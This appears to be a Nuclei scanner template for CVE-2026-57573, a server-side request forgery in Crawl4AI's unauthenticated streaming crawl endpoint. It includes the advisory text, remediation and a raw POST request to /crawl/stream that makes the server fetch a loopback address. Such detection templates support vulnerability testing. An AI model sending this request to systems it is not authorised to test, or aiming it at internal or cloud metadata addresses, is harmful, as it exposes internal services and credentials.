Crawl4AI Docker API server through 0.8.9 applies its SSRF destination check (validate_url_destination) only in the non-streaming /crawl handler. The streaming handler used by POST /crawl/stream, and by POST /crawl with crawler_config.stream set to true, passes the seed URLs straight to the headless browser without any destination validation. The Docker API is unauthenticated by default, so a remote attacker can make the server fetch loopback, private network and cloud metadata addresses and read the response body from the streamed crawl result.
id: CVE-2026-57573
info:
name: Crawl4AI <= 0.8.9 - Server-Side Request Forgery via Streaming Crawl
author: s4e-io
severity: high
description: |
Crawl4AI Docker API server through 0.8.9 applies its SSRF destination check (validate_url_destination) only in the non-streaming /crawl handler. The streaming handler used by POST /crawl/stream, and by POST /crawl with crawler_config.stream set to true, passes the seed URLs straight to the headless browser without any destination validation. The Docker API is unauthenticated by default, so a remote attacker can make the server fetch loopback, private network and cloud metadata addresses and read the response body from the streamed crawl result.
impact: |
Unauthenticated attackers can read internal-only services and cloud instance metadata endpoints, which can expose cloud credentials and internal data.
remediation: |
Upgrade Crawl4AI to version 0.9.0 or later, where the streaming handler validates every seed URL with the same global-routability check as the non-streaming handler. As a workaround, restrict outbound network access from the container and require authentication for the API.
reference:
- https://github.com/unclecode/crawl4ai/security/advisories/GHSA-wm69-2pc3-rmmf
- https://github.com/unclecode/crawl4ai/commit/60886d1a0c52682e4c83a7cef9dfac417fff6bd2
- https://github.com/unclecode/crawl4ai/releases/tag/v0.9.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-57573
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2026-57573
epss-score: 0.01517
epss-percentile: 0.7488
cwe-id: CWE-918
metadata:
verified: true
max-request: 2
vendor: unclecode
product: crawl4ai
shodan-query: http.title:"Crawl4AI Playground"
fofa-query: title="Crawl4AI Playground"
tags: cve,cve2026,crawl4ai,unclecode,ssrf,unauth,intrusive
flow: http(1) && http(2)
http:
- raw:
- |
GET /health HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'regex("^\\{\"status\":\"ok\",\"timestamp\":[0-9.]+,\"version\":\"[0-9][^\"]*\"\\}$", body)'
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- '"version":"([0-9][^"]*)"'
internal: true
- raw:
- |
POST /crawl/stream HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"urls":["http://127.0.0.1:11235/health"]}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/x-ndjson")'
- 'contains_all(body, "\"url\": \"http://127.0.0.1:11235/health\"", "<pre>{\\\"status\\\":\\\"ok\\\",\\\"timestamp\\\":", concat("\\\"version\\\":\\\"", version, "\\\"}</pre>"))'
condition: and
# digest: 4b0a00483046022100e23fa37b947b4189352ad72d2d95c8ed61a9c6d3a5c203c9803049ed86db1024022100c198a9409e4891a4f8baa826b8ec0299390cba1a26f938d8097f42e2c52541a7:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.